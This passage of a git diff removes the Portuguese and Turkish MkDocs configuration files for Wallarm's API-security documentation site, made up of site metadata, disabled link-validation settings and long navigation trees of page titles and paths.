アプリケーション別のデータ/設定分割: user-guides/settings/applications.md - - アクティビティログ: user-guides/settings/audit-log.md - - ユーザーとアクセス: - - 概要: user-guides/settings/users.md - - API トークン: user-guides/settings/api-tokens.md - - SSO Configuration: - - 概要: admin-en/configuration-guides/sso/intro.md - - セットアップ: admin-en/configuration-guides/sso/setup.md - - G Suite の例: admin-en/configuration-guides/sso/sso-gsuite.md - - Okta の例: admin-en/configuration-guides/sso/sso-okta.md - - トラブルシューティング: admin-en/configuration-guides/sso/troubleshooting.md - - LDAP の利用: admin-en/configuration-guides/ldap/ldap.md - - プランと料金: - - サブスクリプションプラン: about-wallarm/subscription-plans.md - - リファレンス: - - API リファレンス: - - 概要: api/overview.md - - API リクエスト例: api/request-examples.md - - 攻撃/脆弱性の種類: attacks-vulns-list.md - - 用語集: glossary-en.md - - 運用リファレンス: - - Wallarm Terraform プロバイダー: admin-en/managing/terraform-provider.md - - アプリケーションの月間リクエスト数の学習: admin-en/operation/learn-incoming-request-number.md - - Wallarm ヘルスチェック: admin-en/uat-checklist-en.md - - 脆弱性スキャン用 IP: admin-en/scanner-addresses.md - - データ保持ポリシー: about-wallarm/data-retention-policy.md - - クライアントデータの責任共有モデル: about-wallarm/shared-responsibility.md - - Comparing Wallarm to Other Solutions: reference/comparing-wallarm-to-other-solutions.md - - Wallarm の SLA: sla.md diff --git a/mkdocs-pt-BR-4.8.yml b/mkdocs-pt-BR-4.8.yml deleted file mode 100644 index 7d26d0bab1..0000000000 --- a/mkdocs-pt-BR-4.8.yml +++ /dev/null @@ -1,332 +0,0 @@ -INHERIT: mkdocs-base.yml - -site_name: Documentação do Wallarm -site_url: https://docs.wallarm.com/pt-br/ -site_description: A solução Wallarm protege APIs, microsserviços e aplicações web contra as ameaças do Top 10 da OWASP para APIs, abuso de API e outras ameaças automatizadas sem a necessidade de configuração manual de regras e com um índice ultra-baixo de falsos positivos. - -copyright: 'Termos de serviço | Política de privacidade | Política de cookies | Configurações de cookies | 2026 © Wallarm Inc.' - -theme: - language: pt-BR - logo: ../images/wallarm-logo-new.svg - favicon: favicon.png - -extra: - language_lowercase: pt-br - language_name: Portuguese (BR) - version: "4.8" - playground_button_name: "Explore o Playground" - try_button_name: "Experimente grátis" - -docs_dir: docs/pt-BR -site_dir: site/pt-br - -# Translated docs are auto-generated from the English sources; we do not edit -# them by hand. Disable link-validation checks so stale or version-mismatched -# refs in translations do not produce warnings until the regeneration catches -# up. Keep absolute/unrecognized/unused as in the base config. -validation: - absolute_links: ignore - unrecognized_links: ignore - unused_definitions: false - unresolved_references: false - shadowed_definitions: false - invalid_links: false - invalid_link_anchors: false - -nav: - - Introdução: - - Primeiros passos: - - Visão Geral do Wallarm: about-wallarm/overview.md - - Guia de Início Rápido: quickstart/getting-started.md - - Guias em vídeo: - - Visão Geral da Descoberta de API: demo-videos/api-discovery.md - - Vazamentos de API: demo-videos/api-leaks.md - - API Sombra e Órfã: demo-videos/shadow-api.md - - Analisando CVEs e Ataques Relacionados: demo-videos/events-inspection.md - - Prevenção de Abuso de API: demo-videos/api-abuse-prevention.md - - Configurações da Plataforma Wallarm: demo-videos/overview.md - - Descoberta de API: - - Visão Geral: api-discovery/overview.md - - Explorando suas APIs: - - Explorando o Inventário de API: api-discovery/exploring.md - - Dashboard: api-discovery/dashboard.md - - Rastreamento de Alterações na API: api-discovery/track-changes.md - - Análise de risco: - - Pontuação de Risco do Endpoint: api-discovery/risk-score.md - - API Sombra, Órfã, Zumbi: api-discovery/rogue-api.md - - Proteção de dados: - - Autoproteção BOLA: api-discovery/bola-protection.md - - Configuração: api-discovery/setup.md - - Proteção de API: - - Visão Geral: about-wallarm/api-protection-overview.md - - Melhores Práticas: quickstart/attack-prevention-best-practices.md - - Proteção específica de API: - - Proteção Manual BOLA: admin-en/configuration-guides/protecting-against-bola-trigger.md - - Configuração: admin-en/configuration-guides/protecting-against-bola.md - - Proteção de API GraphQL: api-protection/graphql-rule.md - - Gerenciamento de bots: - - Visão Geral: api-abuse-prevention/overview.md - - Gerenciamento do Perfil de Prevenção de Abuso de API: api-abuse-prevention/setup.md - - Explorando a Atividade de Bots: api-abuse-prevention/exploring-bots.md - - Exceções: api-abuse-prevention/exceptions.md - - Aplicação da especificação de API: - - Visão Geral: api-specification-enforcement/overview.md - - Configuração: api-specification-enforcement/setup.md - - Visualização de Eventos: api-specification-enforcement/viewing-events.md - - Proteção de credenciais: - - Detecção de Preenchimento de Credenciais: about-wallarm/credential-stuffing.md - - Proteção contra ameaças (WAAP): - - Visão Geral: about-wallarm/waap-overview.md - - Procedimento de Detecção de Ataque: about-wallarm/protecting-against-attacks.md - - Proteção Contra Força Bruta: admin-en/configuration-guides/protecting-against-bruteforce.md - - Proteção contra Navegação Forçada: admin-en/configuration-guides/protecting-against-forcedbrowsing.md - - Proteção Multi-Ataque: admin-en/configuration-guides/protecting-with-thresholds.md - - Proteção DDoS: admin-en/configuration-guides/protecting-against-ddos.md - - Visão Geral: user-guides/ip-lists/overview.md - - Visão Geral: admin-en/configure-wallarm-mode.md - - Regras e políticas: - - Regras: user-guides/rules/rules.md - - Definindo Limite de Taxa: user-guides/rules/rate-limiting.md - - Correção Virtual: user-guides/rules/vpatch-rule.md - - Regras de Detecção Definidas pelo Usuário: user-guides/rules/regex-rule.md - - Regras para Mascaramento de Dados: user-guides/rules/sensitive-data-rule.md - - Análise e Interpretação de Pedidos: user-guides/rules/request-processing.md - - Definindo Cabeçalhos de Resposta: user-guides/rules/add-replace-response-header.md - - Fine‑Tuning da Detecção do Ataque overlimit_res: user-guides/rules/configure-overlimit-res-detection.md - - Teste de segurança de API: - - Teste de repetição de ameaças: - - Visão geral: vulnerability-detection/threat-replay-testing/overview.md - - Configurar: vulnerability-detection/threat-replay-testing/setup.md - - Resultados dos testes: vulnerability-detection/threat-replay-testing/exploring.md - - Teste baseado em esquema: - - Overview: vulnerability-detection/schema-based-testing/overview.md - - Setup: vulnerability-detection/schema-based-testing/setup.md - - Test Run Results: vulnerability-detection/schema-based-testing/explore.md - - Superfície de ataque da API (AASM): - - Visão geral: api-attack-surface/overview.md - - Descoberta de superfície de API: api-attack-surface/api-surface.md - - Detecção de vazamentos de API: api-attack-surface/security-issues.md - - Visão Geral: about-wallarm/detecting-vulnerabilities.md - - Implantação: - - Opções de Implantação: installation/supported-deployment-options.md - - Kubernetes: - - Controlador NGINX Ingress: - - NGINX Ingress Controller: admin-en/installation-kubernetes-en.md - - Parâmetros de Configuração: admin-en/configure-kubernetes-en.md - - Considerações sobre Alta Disponibilidade: admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md - - Monitoramento do Controlador de Ingress: admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md - - Relatório Adequado do IP do Usuário Final: admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md - - Proxy Sidecar: - - Deploy: installation/kubernetes/sidecar-proxy/deployment.md - - Helm Chart Values: installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md - - Personalização: installation/kubernetes/sidecar-proxy/customization.md - - Annotations do Pod: installation/kubernetes/sidecar-proxy/pod-annotations.md - - Escalabilidade e Alta Disponibilidade: installation/kubernetes/sidecar-proxy/scaling.md - - eBPF (fora da banda): - - Implantação: installation/oob/ebpf/deployment.md - - Valores do Helm Chart: installation/oob/ebpf/helm-chart-for-wallarm.md - - Selecionando Pacotes para Espelhamento: installation/oob/ebpf/selecting-packets.md - - Encadeamento de Wallarm e Controladores de Ingress: admin-en/chaining-wallarm-and-other-ingress-controllers.md - - Plataformas em nuvem: - - AWS: - - AMI: installation/cloud-platforms/aws/ami.md - - Dimensionamento automático: - - Visão Geral: admin-en/installation-guides/amazon-cloud/autoscaling-overview.md - - Criando uma Imagem da Máquina Amazon: admin-en/installation-guides/amazon-cloud/create-image.md - - Configurando o Auto Scaling do Nó de Filtragem: admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md - - Configurando o Balanceamento de Solicitações: admin-en/installation-guides/amazon-cloud/load-balancing-guide.md - - ECS: installation/cloud-platforms/aws/docker-container.md - - Módulo Terraform: - - Módulo Terraform para AWS: installation/cloud-platforms/aws/terraform-module/overview.md - - Proxy no AWS VPC: installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md - - Proxy para Amazon API Gateway: installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md - - GCP: - - Imagem de Máquina: installation/cloud-platforms/gcp/machine-image.md - - Dimensionamento automático: - - Visão Geral: admin-en/installation-guides/google-cloud/autoscaling-overview.md - - Criando uma Imagem com o Nó de Filtragem Wallarm: admin-en/installation-guides/google-cloud/create-image.md - - Criando um Template de Instância do Nó de Filtragem: admin-en/installation-guides/google-cloud/creating-instance-template.md - - Criando um Grupo de Instâncias Gerenciadas com Auto Scaling Habilitado: admin-en/installation-guides/google-cloud/creating-autoscaling-group.md - - Configurando o Balanceamento de Solicitações: admin-en/installation-guides/google-cloud/load-balancing-guide.md - - GCE: installation/cloud-platforms/gcp/docker-container.md - - Azure: - - Azure Container Instances: installation/cloud-platforms/azure/docker-container.md - - Alibaba Cloud: - - ECS: installation/cloud-platforms/alibaba-cloud/docker-container.md - - Heroku: installation/heroku/docker-image.md - - Implantação de Wallarm em Nuvens Privadas: installation/cloud-platforms/private-cloud.md - - Especificação do Script Wallarm cloud-init: installation/cloud-platforms/cloud-init.md - - Conectores: - - Visão Geral: installation/connectors/overview.md - - Akamai EdgeWorkers: installation/connectors/akamai-edgeworkers.md - - Apigee: installation/connectors/apigee.md - - AWS Lambda: installation/connectors/aws-lambda.md - - Azion Edge: installation/connectors/azion-edge.md - - Cloudflare: installation/connectors/cloudflare.md - - Fastly: installation/connectors/fastly.md - - IBM API Connect: installation/connectors/ibm-api-connect.md - - Layer7 API Gateways: installation/connectors/layer7-api-gateway.md - - MuleSoft Mule Gateway: installation/connectors/mulesoft.md - - MuleSoft Flex Gateway: installation/connectors/mulesoft-flex.md - - Registro de Alterações do Pacote de Código: installation/connectors/code-bundle-inventory.md - - Nó auto-hospedado: - - Implantação em linha: - - Visão Geral: installation/inline/overview.md - - All-in-One Installer: installation/nginx/all-in-one.md - - Baseado em NGINX: admin-en/installation-docker-en.md - - Instalando Separadamente o Módulo de Pós‑Análises: admin-en/installation-postanalytics-en.md - - Pacotes NGINX Personalizados: installation/custom/custom-nginx-version.md - - Fora da banda (espelho de tráfego): - - Visão Geral: installation/oob/overview.md - - Implantar: installation/oob/tcp-traffic-mirror/deployment.md - - Multi-inquilino: - - Visão Geral do Multi‑Tenancy: installation/multi-tenant/overview.md - - Criando Contas de Inquilino na Console Wallarm: installation/multi-tenant/configure-accounts.md - - Implantando e Configurando o Nó Multi‑Tenant: installation/multi-tenant/deploy-multi-tenant-node.md - - Implantação personalizada: - - Opções de Implantação Personalizadas: installation/custom/request-custom-deployment.md - - Manutenção: - - Visão Geral: maintenance/overview.md - - - Nós e Infraestrutura: - - Visão Geral do Nó: user-guides/nodes/nodes.md - - Alocação de Recursos: admin-en/configuration-guides/allocate-resources-for-node.md - - Sincronização de Nuvem: admin-en/configure-cloud-node-synchronization-en.md - - Configuração de Proxy: admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md - - Configuração da Página de Bloqueio: admin-en/configuration-guides/configure-block-page-and-code.md - - Manipulação de Cabeçalhos Inválidos: admin-en/configuration-guides/handling-invalid-headers.md - - Impressão Digital JA3: admin-en/enabling-ja3.md - - Provedor Terraform: admin-en/managing/terraform-provider.md - - - Monitoramento e Métricas: - - Serviço de Estatísticas: admin-en/configure-statistics-service.md - - Registro de Nó: admin-en/configure-logging.md - - Configuração de Failover: admin-en/configure-backup-en.md - - Verificação de Saúde: admin-en/uat-checklist-en.md - - - Atualizações e Migração: - - Política de Versionamento: updating-migrating/versioning-policy.md - - Recomendações Gerais: updating-migrating/general-recommendations.md - - Novidades: updating-migrating/what-is-new.md - - Changelog do Nó NGINX: updating-migrating/node-artifact-versions.md - - Instruções de Atualização do Nó NGINX: - - Pacotes DEB/RPM: updating-migrating/nginx-modules.md - - Módulo Postanalytics: updating-migrating/separate-postanalytics.md - - Instalador All-in-One: updating-migrating/all-in-one.md - - Imagem Docker: updating-migrating/docker-container.md - - Controlador Ingress: updating-migrating/ingress-controller.md - - Descontinuação do Controlador Ingress: updating-migrating/nginx-ingress-retirement.md - - Proxy Sidecar: updating-migrating/sidecar-proxy.md - - Imagem de Nuvem: updating-migrating/cloud-image.md - - Nó Multi-Inquilino: updating-migrating/multi-tenant.md - - Atualizações do Nó EOL (3.6 e inferior): - - Novidades: updating-migrating/older-versions/what-is-new.md - - Módulos NGINX: updating-migrating/older-versions/nginx-modules.md - - Postanalytics: updating-migrating/older-versions/separate-postanalytics.md - - Imagem Docker: updating-migrating/older-versions/docker-container.md - - Controlador Ingress: updating-migrating/older-versions/ingress-controller.md - - Imagem de Nuvem: updating-migrating/older-versions/cloud-image.md - - Multi-Inquilino: updating-migrating/older-versions/multi-tenant.md - - Migrar Listas de IP: updating-migrating/migrate-ip-lists-to-node-3.md - - - Operações: - - Aprendendo Volume de Solicitações: admin-en/operation/learn-incoming-request-number.md - - Endereços IP do Scanner: admin-en/scanner-addresses.md - - - Solução de Problemas: - - Visão Geral: troubleshooting/overview.md - - Detecção e Bloqueio: troubleshooting/detection-and-blocking.md - - Ferramentas de Detecção: troubleshooting/detection-tools-tuning.md - - Desempenho: troubleshooting/performance.md - - IP Real do Cliente: admin-en/using-proxy-or-balancer-en.md - - Problemas do Usuário Final: faq/common-errors-after-installation.md - - Controlador Wallarm Ingress: faq/ingress-installation.md - - Nuvem Wallarm Inativa: faq/wallarm-cloud-down.md - - Alertas do Painel OWASP: faq/node-issues-on-owasp-dashboards.md - - Log de Erros NGINX: troubleshooting/wallarm-issues-in-nginx-error-log.md - - DNS Dinâmico no NGINX: admin-en/configure-dynamic-dns-resolution-nginx.md - - - Integrações: - - Visão Geral: user-guides/settings/integrations/integrations-intro.md - - Mensagens e alertas: - - Email: user-guides/settings/integrations/email.md - - Slack: user-guides/settings/integrations/slack.md - - Microsoft Teams: user-guides/settings/integrations/microsoft-teams.md - - Telegram: user-guides/settings/integrations/telegram.md - - Gerenciamento de incidentes: - - PagerDuty: user-guides/settings/integrations/pagerduty.md - - Opsgenie: user-guides/settings/integrations/opsgenie.md - - Jira: user-guides/settings/integrations/jira.md - - ServiceNow: user-guides/settings/integrations/servicenow.md - - InsightConnect: user-guides/settings/integrations/insightconnect.md - - SIEM e análise: - - Splunk: user-guides/settings/integrations/splunk.md - - Sumo Logic: user-guides/settings/integrations/sumologic.md - - Microsoft Sentinel: user-guides/settings/integrations/azure-sentinel.md - - Datadog: user-guides/settings/integrations/datadog.md - - Coletores de log: - - Fluentd: user-guides/settings/integrations/fluentd.md - - Logstash: user-guides/settings/integrations/logstash.md - - Integration Examples: - - IBM QRadar via Fluentd: user-guides/settings/integrations/webhook-examples/fluentd-qradar.md - - IBM QRadar via Logstash: user-guides/settings/integrations/webhook-examples/logstash-qradar.md - - Splunk Enterprise via Fluentd: user-guides/settings/integrations/webhook-examples/fluentd-splunk.md - - Splunk Enterprise via Logstash: user-guides/settings/integrations/webhook-examples/logstash-splunk.md - - Micro Focus ArcSight Logger via Fluentd: user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md - - Micro Focus ArcSight Logger via Logstash: user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md - - Datadog via Fluentd/Logstash: user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md - - Armazenamento em nuvem: - - Amazon S3: user-guides/settings/integrations/amazon-s3.md - - MinIO: user-guides/settings/integrations/minio.md - - Webhook: - - Webhook: user-guides/settings/integrations/webhook.md - - DevSecOps: - - Verificando Assinaturas das Imagens Docker: integrations-devsecops/verify-docker-image-signature.md - - Gerando um SBOM para Imagens Docker Wallarm: integrations-devsecops/generate-sbom-for-docker-images.md - - Gerenciamento da plataforma: - - Painéis: - - Prevenção de Ameaças: user-guides/dashboards/threat-prevention.md - - Descoberta de API: user-guides/dashboards/api-discovery.md - - OWASP API Top 10: user-guides/dashboards/owasp-api-top-ten.md - - Monitoramento e eventos: - - Overview: user-guides/events/overview.md - - Verificando Eventos: user-guides/events/check-attack.md - - Verificação de Incidentes: user-guides/events/check-incident.md - - Gerenciando Vulnerabilidades Detectadas: user-guides/vulnerabilities.md - - Acionadores e alertas: - - Trabalhando com acionadores: user-guides/triggers/triggers.md - - Pesquisa e relatórios: - - Pesquisa de Eventos e Filtros: user-guides/search-and-filters/use-search.md - - Relatórios: user-guides/search-and-filters/custom-report.md - - Configurações da conta: - - Perfil de Usuário: user-guides/settings/account.md - - Dividindo Tráfego e Configurações por Aplicações: user-guides/settings/applications.md - - Log de Atividades: user-guides/settings/audit-log.md - - Usuários e acesso: - - Visão Geral: user-guides/settings/users.md - - Tokens de API: user-guides/settings/api-tokens.md - - SSO Configuration: - - Overview: admin-en/configuration-guides/sso/intro.md - - Setup: admin-en/configuration-guides/sso/setup.md - - G Suite Example: admin-en/configuration-guides/sso/sso-gsuite.md - - Okta Example: admin-en/configuration-guides/sso/sso-okta.md - - Solução de problemas: admin-en/configuration-guides/sso/troubleshooting.md - - Usando LDAP: admin-en/configuration-guides/ldap/ldap.md - - Planos e preços: - - Visão Geral: about-wallarm/subscription-plans.md - - Referências: - - Referência da API: - - Visão Geral: api/overview.md - - Exemplos de Solicitação da API: api/request-examples.md - - Tipos de Ataque e Vulnerabilidade: attacks-vulns-list.md - - Glossário: glossary-en.md - - Referência de operações: - - Provider Terraform Wallarm: admin-en/managing/terraform-provider.md - - Aprendendo o Volume Mensal de Solicitações de uma Aplicação: admin-en/operation/learn-incoming-request-number.md - - Check-list de Testes de Aceitação do Usuário: admin-en/uat-checklist-en.md - - Endereços do Scanner: admin-en/scanner-addresses.md - - Política de Retenção de Dados: about-wallarm/data-retention-policy.md - - Modelo de Responsabilidade Compartilhada para Dados do Cliente: about-wallarm/shared-responsibility.md - - Comparing Wallarm to Other Solutions: reference/comparing-wallarm-to-other-solutions.md - - Wallarm's SLA: sla.md diff --git a/mkdocs-tr-6.x.yml b/mkdocs-tr-6.x.yml deleted file mode 100644 index 8b332c796c..0000000000 --- a/mkdocs-tr-6.x.yml +++ /dev/null @@ -1,389 +0,0 @@ -INHERIT: mkdocs-base.yml - -site_name: Wallarm Dokümantasyonu -site_url: https://docs.wallarm.com/tr/ -site_description: Wallarm çözümü, OWASP API Top 10 tehditlerinden, API istismarından ve manuel kural yapılandırması olmadan ve ultra düşük yanlış pozitiflerle diğer otomatik tehditlerden API'leri, mikroservisleri ve web uygulamalarını korur. -copyright: 'Hizmet Şartları | Gizlilik Politikası | Çerez Politikası| Çerez ayarları | 2026 © Wallarm Inc.' - -theme: - language: tr - logo: ../images/wallarm-logo-new.svg - favicon: favicon.png - -extra: - language_lowercase: tr - language_name: Turkish - version: "6.x" - versionNative: "0.14.x+" - playground_button_name: "Oyun Alanını Keşfedin" - try_button_name: "Ücretsiz Deneyin" - -docs_dir: docs/tr -site_dir: site/tr - -# Translated docs are auto-generated from the English sources; we do not edit -# them by hand. Disable link-validation checks so stale or version-mismatched -# refs in translations do not produce warnings until the regeneration catches -# up. Keep absolute/unrecognized/unused as in the base config. -validation: - absolute_links: ignore - unrecognized_links: ignore - unused_definitions: false - unresolved_references: false - shadowed_definitions: false - invalid_links: false - invalid_link_anchors: false - -nav: - - Giriş: - - Hızlı başlangıç: - - Wallarm Genel Bakış: about-wallarm/overview.md - - Başlarken: quickstart/getting-started.md - - Video kılavuzları: - - API Keşfine Genel Bakış: demo-videos/api-discovery.md - - Gölge ve Yetim API: demo-videos/shadow-api.md - - CVE'leri ve İlgili Saldırıları Analiz Etme: demo-videos/events-inspection.md - - API Kötüye Kullanımının Önlenmesine Genel Bakış: demo-videos/api-abuse-prevention.md - - Wallarm Platformu Ayarları: demo-videos/overview.md - - API Keşfi: - - Genel Bakış: api-discovery/overview.md - - API'lerinizi keşfetme: - - API Envanterini Keşfetme: api-discovery/exploring.md - - Pano: api-discovery/dashboard.md - - API'deki Değişiklikleri İzleme: api-discovery/track-changes.md - - Risk analizi: - - Uç Nokta Risk Skoru: api-discovery/risk-score.md - - Gölge, Yetim, Zombi API: api-discovery/rogue-api.md - - Hassas İş Akışları: api-discovery/sbf.md - - Veri koruma: - - Hassas Veri Tespiti: api-discovery/sensitive-data.md - - BOLA Otomatik Koruma: api-discovery/bola-protection.md - - Kurulum: api-discovery/setup.md - - API Koruması: - - Genel Bakış: about-wallarm/api-protection-overview.md - - En İyi Uygulamalar: quickstart/attack-prevention-best-practices.md - - API oturum güvenliği: - - Genel Bakış: api-sessions/overview.md - - Kurulum: api-sessions/setup.md - - Keşfetme: api-sessions/exploring.md - - Engelleme: api-sessions/blocking.md - - API'ye özel koruma: - - Manuel BOLA Koruması: admin-en/configuration-guides/protecting-against-bola-trigger.md - - Otomatik BOLA Koruması: admin-en/configuration-guides/protecting-against-bola.md - - Numaralandırma Saldırısı Koruması: api-protection/enumeration-attack-protection.md - - GraphQL API Koruması: api-protection/graphql-rule.md - - Dosya Yükleme Kısıtlaması: api-protection/file-upload-restriction.md - - Bot yönetimi: - - Genel Bakış: api-abuse-prevention/overview.md - - Kurulum: api-abuse-prevention/setup.md - - Bot Etkinliğini Keşfetme: api-abuse-prevention/exploring-bots.md - - İstisnalar: api-abuse-prevention/exceptions.md - - API spesifikasyonu zorlaması: - - Genel Bakış: api-specification-enforcement/overview.md - - Kurulum: api-specification-enforcement/setup.md - - Olayları Görüntüleme: api-specification-enforcement/viewing-events.md - - Kimlik bilgisi koruması: - - Kimlik Bilgisi Doldurma Tespiti: about-wallarm/credential-stuffing.md - - Tehdit koruması (WAAP): - - Genel Bakış: about-wallarm/waap-overview.md - - Genel Bakış: about-wallarm/protecting-against-attacks.md - - Kaba Kuvvet Koruması: admin-en/configuration-guides/protecting-against-bruteforce.md - - Zorla Gezinme Koruması: admin-en/configuration-guides/protecting-against-forcedbrowsing.md - - Çoklu Saldırı Koruması: admin-en/configuration-guides/protecting-with-thresholds.md - - DoS Koruması: api-protection/dos-protection.md - - DDoS Koruması: admin-en/configuration-guides/protecting-against-ddos.md - - IP'ye Göre Filtreleme: user-guides/ip-lists/overview.md - - Filtreleme Modu: admin-en/configure-wallarm-mode.md - - Azaltma kontrolleri: - - Azaltma Kontrolleri: about-wallarm/mitigation-controls-overview.md - - Kurallar ve politikalar: - - Kurallar: user-guides/rules/rules.md - - Oran Sınırlama: user-guides/rules/rate-limiting.md - - Sanal Yamalama: user-guides/rules/vpatch-rule.md - - Özel Saldırı Algılayıcıları: user-guides/rules/regex-rule.md - - Hassas Veriyi Maskeleme: user-guides/rules/sensitive-data-rule.md - - İstekleri Ayrıştırma: user-guides/rules/request-processing.md - - Yanıt Başlıklarını Değiştirme: user-guides/rules/add-replace-response-header.md - - İstek İşleme Süresini Sınırlama: user-guides/rules/configure-overlimit-res-detection.md - - API güvenlik testi: - - Genel Bakış: vulnerability-detection/security-testing-overview.md - - Tehdit yeniden oynatma testi: - - Genel Bakış: vulnerability-detection/threat-replay-testing/overview.md - - Kurulum: vulnerability-detection/threat-replay-testing/setup.md - - Test Sonuçları: vulnerability-detection/threat-replay-testing/exploring.md - - Şemaya dayalı test: - - Genel Bakış: vulnerability-detection/schema-based-testing/overview.md - - Kurulum: vulnerability-detection/schema-based-testing/setup.md - - Test Çalıştırma Sonuçları: vulnerability-detection/schema-based-testing/explore.md - - API saldırı yüzeyi (AASM): - - Genel Bakış: api-attack-surface/overview.md - - Kurulum: api-attack-surface/setup.md - - API Saldırı Yüzeyi Keşfi: api-attack-surface/api-surface.md - - Güvenlik Sorunlarını Tespit Etme: api-attack-surface/security-issues.md - - Zafiyetleri Tespit Etme: about-wallarm/detecting-vulnerabilities.md - - AI güvenliği: - - AI koruması: - - Etken Yapay Zeka Koruması: agentic-ai/agentic-ai-protection.md - - Dağıtım: - - Genel Bakış: installation/supported-deployment-options.md - - Security Edge (yönetilen): - - Genel Bakış: installation/security-edge/overview.md - - Ücretsiz Katman: installation/security-edge/free-tier.md - - Satır içi dağıtım: - - Genel Bakış: installation/security-edge/inline/overview.md - - Dağıtım: installation/security-edge/inline/deployment.md - - Özel Engelleme Sayfası: installation/security-edge/inline/custom-block-page.md - - Ana Bilgisayar Yönlendirme: installation/security-edge/inline/host-redirection.md - - mTLS: installation/security-edge/inline/mtls.md - - Çoklu Bulut ve Çoklu Bölge: installation/security-edge/inline/multi-region.md - - NGINX Geçersiz Kılmaları: installation/security-edge/inline/nginx-overrides.md - - Dağıtımı Yönetme: installation/security-edge/inline/upgrade-and-management.md - - Telemetri portalı: - - Telemetri Portalı: installation/security-edge/inline/telemetry-portal.md - - Bağlayıcılar: installation/security-edge/se-connector.md - - Kubernetes: - - NGINX Ingress denetleyicisi: - - NGINX Ingress Denetleyicisi: admin-en/installation-kubernetes-en.md - - Yapılandırma Parametreleri: admin-en/configure-kubernetes-en.md - - Yüksek Erişilebilirlik Hususları: admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md - - Ingress Denetleyicisi İzleme: admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md - - Son Kullanıcı IP'sinin Doğru Raporlanması: admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md - - Sidecar proxy: - - Dağıtım: installation/kubernetes/sidecar-proxy/deployment.md - - Helm Chart Değerleri: installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md - - Özelleştirme: installation/kubernetes/sidecar-proxy/customization.md - - Pod Açıklamaları: installation/kubernetes/sidecar-proxy/pod-annotations.md - - Ölçeklendirme ve Yüksek Erişilebilirlik: installation/kubernetes/sidecar-proxy/scaling.md - - eBPF (bant dışı): - - Dağıtım: installation/oob/ebpf/deployment.md - - Helm Chart Değerleri: installation/oob/ebpf/helm-chart-for-wallarm.md - - Yansıtma için Paket Seçimi: installation/oob/ebpf/selecting-packets.md - - Wallarm ve Ingress Denetleyicilerini Zincirleme: admin-en/chaining-wallarm-and-other-ingress-controllers.md - - Bulut platformları: - - AWS: - - AMI: installation/cloud-platforms/aws/ami.md - - Otomatik ölçeklendirme: - - Genel Bakış: admin-en/installation-guides/amazon-cloud/autoscaling-overview.md - - Amazon Makine İmajı Oluşturma: admin-en/installation-guides/amazon-cloud/create-image.md - - Filtreleme Düğümü Otomatik Ölçeklendirmesini Ayarlama: admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md - - Gelen İstek Yük Dengesini Ayarlama: admin-en/installation-guides/amazon-cloud/load-balancing-guide.md - - ECS: installation/cloud-platforms/aws/docker-container.md - - Terraform Module: - - AWS için Terraform Modülü: installation/cloud-platforms/aws/terraform-module/overview.md - - AWS VPC'de Proxy: installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md - - Amazon API Gateway için Proxy: installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md - - AWS WAF Entegrasyonu: installation/cloud-platforms/aws/aws-waf-integration.md - - AWS'de NGINX Düğümü Maliyeti: installation/cloud-platforms/aws/costs.md - - GCP: - - Makine İmajı: installation/cloud-platforms/gcp/machine-image.md - - Otomatik ölçeklendirme: - - Genel Bakış: admin-en/installation-guides/google-cloud/autoscaling-overview.md - - Wallarm Filtreleme Düğümü ile İmaj Oluşturma: admin-en/installation-guides/google-cloud/create-image.md - - Filtreleme Düğümü Örnek Şablonu Oluşturma: admin-en/installation-guides/google-cloud/creating-instance-template.md - - Otomatik Ölçeklendirme Etkin Yönetilen Örnek Grubu Oluşturma: admin-en/installation-guides/google-cloud/creating-autoscaling-group.md - - Gelen İstek Yük Dengesini Ayarlama: admin-en/installation-guides/google-cloud/load-balancing-guide.md - - GCE: installation/cloud-platforms/gcp/docker-container.md - - Azure: - - Azure Container Instances: installation/cloud-platforms/azure/docker-container.md - - Alibaba Cloud: - - ECS: installation/cloud-platforms/alibaba-cloud/docker-container.md - - Heroku: installation/heroku/docker-image.md - - Özel Bulutlarda Wallarm Dağıtımı: installation/cloud-platforms/private-cloud.md - - Wallarm cloud-init Komut Dosyasının Spesifikasyonu: installation/cloud-platforms/cloud-init.md - - Bağlayıcılar: - - Genel Bakış: installation/connectors/overview.md - - Akamai: installation/connectors/akamai-edgeworkers.md - - Apigee: installation/connectors/apigee.md - - CloudFront: installation/connectors/aws-lambda.md - - Azure API Management: installation/connectors/azure-api-management.md - - Azion Edge: installation/connectors/azion-edge.md - - Cloudflare: installation/connectors/cloudflare.md - - Fastly: installation/connectors/fastly.md - - IBM API Connect: installation/connectors/ibm-api-connect.md - - Istio: installation/connectors/istio.md - - Layer7 API Gateways: installation/connectors/layer7-api-gateway.md - - MuleSoft Mule Gateway: installation/connectors/mulesoft.md - - MuleSoft Flex Gateway: installation/connectors/mulesoft-flex.md - - Kod Paketi Değişiklik Günlüğü: installation/connectors/code-bundle-inventory.md - - Kendi barındırımlı düğüm: - - NGINX ve Yerel Genel Bakış: installation/nginx-native-node-internals.md - - Satır içi dağıtım: - - Genel Bakış: installation/inline/overview.md - - Hepsi Bir Arada Yükleyici: installation/nginx/all-in-one.md - - NGINX Tabanlı Docker İmajı: admin-en/installation-docker-en.md - - Yerel düğüm: - - Yükleme: installation/native-node/all-in-one.md - - Dağıtım: installation/native-node/docker-image.md - - Dağıtım: installation/native-node/helm-chart.md - - Yapılandırma: installation/native-node/helm-chart-conf.md - - Dağıtım: installation/native-node/aws-ami.md - - Yapılandırma: installation/native-node/all-in-one-conf.md - - Ayrı Postanalitik Modül Kurulumu: admin-en/installation-postanalytics-en.md - - Özel NGINX Paketleri: 